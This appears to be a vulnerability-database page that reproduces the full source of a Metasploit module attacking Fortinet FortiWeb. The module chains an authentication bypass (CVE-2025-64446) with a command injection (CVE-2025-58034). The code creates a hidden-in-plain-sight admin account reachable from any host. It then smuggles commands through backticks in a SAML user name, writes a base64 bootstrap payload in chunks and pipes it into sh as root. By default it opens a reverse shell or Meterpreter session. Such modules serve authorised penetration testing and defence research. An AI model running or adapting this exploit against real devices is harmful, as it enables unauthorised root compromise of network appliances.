Lucene search
K

Fortinet FortiWeb unauthenticated RCE

🗓️ 26 Nov 2025 18:53:40Reported by Defused, sfewer-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 661 Views

Fortinet FortiWeb unauthenticated RCE via authentication bypass and command injection.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
4 Mar 202608:31
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
26 Mar 202611:29
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
21 Nov 202500:37
githubexploit
GithubExploit
Exploit for Relative Path Traversal in Fortinet Fortiweb
18 Nov 202510:25
githubexploit
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
24 Nov 202522:48
githubexploit
GithubExploit
FortiGate-FortiWeb-Multi-Exploit-Extractor
14 May 202614:07
githubexploit
GithubExploit
Exploit for CVE-2025-58034
19 Nov 202509:52
githubexploit
GithubExploit
Exploit for OS Command Injection in Fortinet Fortiweb
2 Mar 202614:36
githubexploit
GithubExploit
Exploit for CVE-2025-50834
25 Nov 202511:42
githubexploit
Circl
CVE-2025-58034
18 Nov 202520:20
circl
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiWeb unauthenticated RCE',
        'Description' => %q{
          This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
          FortiWeb management interface to create a new local administrator user account. From there a command
          injection vulnerability is leveraged to achieve RCE with root privileges.

          The auth bypass CVE-2025-64446 affects the following versions:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
          * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
          slightly different when compared to the patch versions for CVE-2025-64446:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
          * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          Note: Unsupported versions 6.* are also affected.

          This exploit module has been confirmed to work against 8.0.1, 7.4.8, 6.4.3, and 6.3.9.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Defused', # PoC from honeypot for CVE-2025-64446
          'sfewer-r7', # MSF module and CVE-2025-58034 analysis
        ],
        'References' => [
          ['CVE', '2025-64446'],
          ['EDB', '52495'],
          ['EDB', '52502'], # Auth bypass
          ['CVE', '2025-58034'], # Command Injection
          ['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
          ['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
          ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
          ['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
          ['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
        ],
        # CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
        # Both vulnerabilities were silently patched by the vendor prior to this date.
        'DisclosureDate' => '2025-11-14',
        'Privileged' => true, # Executes as root.
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1:
            #   cmd/unix/reverse_bash
            #   cmd/unix/reverse_openssl
            'FortiWeb 8.x', {
              'SupportedMajorVersions' => [8],
              # Only some of the Unix payloads have been verified to work, the Linux fetch payloads don't execute
              # due to the Linux Integrity Measurement Architecture (IMA) appraisal feature being enabled.
              'Platform' => 'unix',
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 7.4.8, 6.3.9 and 6.4.3:
            #   cmd/unix/reverse_bash
            #   cmd/linux/http/x64/meterpreter_reverse_tcp
            'FortiWeb 7.x and 6.x', {
              'SupportedMajorVersions' => [7, 6],
              'Platform' => ['unix', 'linux'],
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options(
      [
        OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
        OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
        OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
        OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
      ]
    )
  end

  def check
    res = post_auth_bypass_request({ data: {} })

    return CheckCode::Unknown('Connection failed') unless res

    return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

    j = JSON.parse(res.body)

    # Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9
    return Exploit::CheckCode::Appears('The target appears to be vulnerable') if j.dig('results', 'errcode') == -56

    CheckCode::Unknown('Unexpected JSON results')
  rescue JSON::ParserError
    return CheckCode::Unknown('Failed to parse JSON body')
  end

  def exploit
    if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
      print_status('Creating a new admin account via CVE-2025-64446...')

      admin_username = Faker::Internet.username
      admin_password = Rex::Text.rand_text_alpha(8)

      create_admin_account(admin_username, admin_password)

      print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
    else
      admin_username = datastore['FortiWebAdminUsername']
      admin_password = datastore['FortiWebAdminPassword']

      print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
    end

    print_status('Logging in...')

    cookie_jar.clear

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logincheck'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => admin_username,
        'secretkey' => admin_password
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
    end

    print_good("Successfully logged in as #{admin_username}")

    # Exploiting the command injection requires leveraging the CLI. Depending on the target FortiWeb major
    # version (6, 7, or 8), how we access the CLI differs. To account for this we pull the target system version
    # information here, and use it to verify the Metasploit target supports this major version, and the CLI technique
    # we use is correct for the major version being targeted.
    system_state = get_system_state

    print_good("Detected target version: #{system_state[:major_version]}.#{system_state[:minor_version]}.#{system_state[:patch_version]}")

    fail_with(Msf::Exploit::Failure::BadConfig, "The chosen exploit target only supports #{target['SupportedMajorVersions'].join(',')}. Set a different target.") unless target['SupportedMajorVersions'].include?(system_state[:major_version])

    begin
      print_status('Executing payload via CVE-2025-58034...')

      execute_payload(system_state)
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
    end

    print_good('Finished.')
  end

  def execute_payload(system_state)
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"

    # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
    # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
    # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
    # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
    # start_new_session to do essentially what nohup does - call setsid() to create a new session.
    # When targeting FortiWeb 6.x Python 2 is available, so start_new_session is not available. Instead, we use
    # preexec_fn=os.setsid to get the same result.

    if system_state[:major_version] == 6
      # This has been confirmed to work as expected on 6.3.9 ands 6.4.3.
      bootstrap_payload += "python -c \"import subprocess,os;subprocess.Popen(\\\"#{payload.encoded}\\\",shell=True,preexec_fn=os.setsid)\""
    else
      # This has been confirmed to work as expected on 8.0.1 and 7.4.8.
      bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
    end

    vprint_status("Using bootstrap payload: #{bootstrap_payload}")

    bootstrap_payload = Base64.strict_encode64(bootstrap_payload)

    idx = 1
    idx_prefix = ''

    # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
    # 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
    # value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
    # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
    # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
    # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
    # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
    # we must recompute the chunk size, to ensure we don't go over the 63-character limit.
    chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

    # We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
    # instead do "echo foo|tee file").

    # We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
    # them, and therefore white spaces are also an issue.

    # We display the progress to the user, so track that with a current and max chunk number.
    curr_chunk_number = 1

    max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

    while bootstrap_payload && !bootstrap_payload.empty?

      print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

      chunk = bootstrap_payload[0, chunk_size]

      bootstrap_payload = bootstrap_payload[chunk_size..]

      execute_cmd(system_state, "echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")

      idx += 1

      if idx > 9
        idx = 1
        idx_prefix += '9'
        # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
        # next chunk must have 1 less character.
        chunk_size -= 1
        # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
        # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
        # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
        # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
        # would be a max MSF payload size of 5670 characters. Calculated with the command:
        # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
        fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
      end

      curr_chunk_number += 1
    end

    print_status('Amalgamating bootstrap payload chunks...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")

    print_status('Executing bootstrap payload...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
  end

  def execute_cmd(system_state, cmd)
    vprint_status("Executing OS command: #{cmd}")

    # These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
    # We also look for backticks, which are allowed, but we use two of them below to get command execution so we
    # don't want the incoming cmd to contain any as that would break our injection.
    '`#()>\'"'.each_char do |bad_char|
      fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
    end

    # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
    fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)

    case system_state[:major_version]
    when 6
      execute_cmd_v6(system_state, cmd)
    when 7, 8
      execute_cmd_v7_v8(cmd)
    else
      fail_with(Failure::NoTarget, "Major version not supported: #{system_state[:major_version]}")
    end
  end

  def execute_cmd_v6(system_state, cmd)
    vprint_status('Connecting to the HTTP CLI console...')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'connect',
        'session_id' => system_state[:csrf_token]
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    console_session_id = res.body.match(/(\d+):Connected/i)[1]&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get HTTP CLI console session ID') unless console_session_id

    vprint_status("HTTP CLI console session ID: #{console_session_id}")

    gen_cli_commands(cmd).each do |cli_command|
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
        'keep_cookies' => true,
        'vars_post' => {
          'act' => 'xmit',
          'sid' => console_session_id,
          'session_id' => system_state[:csrf_token],
          'cmd' => cli_command + "\n"
        }
      )

      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    end

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'disconnect',
        'sid' => console_session_id,
        'session_id' => system_state[:csrf_token]
      }
    )
  end

  def execute_cmd_v7_v8(cmd)
    vprint_status('Connecting to the CLI websocket...')

    wsock_headers = {
      'Cookie' => ''
    }

    cookie_jar.cookies.each do |c|
      wsock_headers['Cookie'] += "#{c}; "
    end

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
      'headers' => wsock_headers
    )

    vprint_good('Successfully connected to the CLI websocket')

    cli_commands = gen_cli_commands(cmd)

    wsock.wsloop do |buffer, _|
      vprint_line(buffer)

      if buffer.end_with? ' # '
        cli_command = cli_commands.shift

        break if cli_command.nil?

        vprint_status("Running CLI command: #{cli_command}")

        wsock.put_wsbinary("#{cli_command}\n")

        break if cli_commands.empty?
      end
    end
  end

  def gen_cli_commands(cmd)
    [
      'config user saml-user',
      "edit \"`#{cmd}`\"",
      "set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
      "set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set enforce-signing disable',
      'set slo-bind post',
      "set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set sso-bind post',
      "set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'end'
    ]
  end

  def get_system_state
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v2.0', 'system', 'state'),
      'keep_cookies' => true
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    j = JSON.parse(res.body)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected system state status: #{j['status']}") if j['status'] != 'success'

    # NOTE: The returned JSON has an expected typo 'resutls' which we have to account for.

    major_version = j.dig('resutls', 'config', 'CONFIG_MAJOR_NUM')&.to_i
    major_version ||= j.dig('results', 'config', 'CONFIG_MAJOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MAJOR_NUM') unless major_version

    minor_version = j.dig('resutls', 'config', 'CONFIG_MINOR_NUM')&.to_i
    minor_version ||= j.dig('results', 'config', 'CONFIG_MINOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MINOR_NUM') unless minor_version

    patch_version = j.dig('resutls', 'config', 'CONFIG_PATCH_NUM')&.to_i
    patch_version ||= j.dig('results', 'config', 'CONFIG_PATCH_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_PATCH_NUM') unless patch_version

    csrf_token = j.dig('resutls', 'admin', 'csrf_token')&.to_i
    csrf_token ||= j.dig('results', 'admin', 'csrf_token')&.to_i

    { major_version: major_version, minor_version: minor_version, patch_version: patch_version, csrf_token: csrf_token }
  rescue JSON::ParserError
    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body')
  end

  # The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
  # be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
  # accept lower case, so we force "websocket" to be used instead.
  def connect(opts = {})
    if opts.dig('headers', 'Upgrade') == 'WebSocket'
      opts['headers']['Upgrade'].downcase!
    end
    super
  end

  # Create a new local admin account via CVE-2025-64446.
  def create_admin_account(admin_username, admin_password)
    request_data = {
      data: {
        'q_type' => 1,
        'name' => admin_username,
        'access-profile' => datastore['FortiWebAccessProfile'],
        'access-profile_val' => '0',
        'trusthostv4' => '0.0.0.0/0',
        'trusthostv6' => '::/0',
        'last-name' => '',
        'first-name' => '',
        'email-address' => '',
        'phone-number' => '',
        'mobile-number' => '',
        'hidden' => 0,
        'domains' => datastore['FortiWebDomain'],
        'sz_dashboard' => -1,
        'type' => 'local-user',
        'type_val' => '0',
        'admin-usergrp_val' => '0',
        'wildcard_val' => '0',
        'accprofile-override_val' => '0',
        'sshkey' => '',
        'passwd-set-time' => 0,
        'history-password-pos' => 0,
        'history-password0' => '',
        'history-password1' => '',
        'history-password2' => '',
        'history-password3' => '',
        'history-password4' => '',
        'history-password5' => '',
        'history-password6' => '',
        'history-password7' => '',
        'history-password8' => '',
        'history-password9' => '',
        'force-password-change' => 'disable',
        'force-password-change_val' => '0',
        'password' => admin_password
      }
    }

    res = post_auth_bypass_request(request_data)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403

    unless res.code == 200
      if res.headers['Content-Type'] == 'application/json'
        begin
          response_data = JSON.parse(res.body)
          print_bad(response_data.to_s)
        rescue JSON::ParserError
          print_bad('failed to parse response JSON data')
        end
      end
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
    end
  end

  def post_auth_bypass_request(request_data)
    cgi_info = {
      'username' => datastore['FortiWebDefaultAdminAccount'],
      'profname' => datastore['FortiWebAccessProfile'],
      'vdom' => datastore['FortiWebDomain'],
      'loginname' => datastore['FortiWebDefaultAdminAccount']
    }

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
      'headers' => {
        'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
      },
      'ctype' => 'application/json',
      'data' => request_data.to_json
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jun 2026 19:04Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
EPSS0.9299
SSVC
661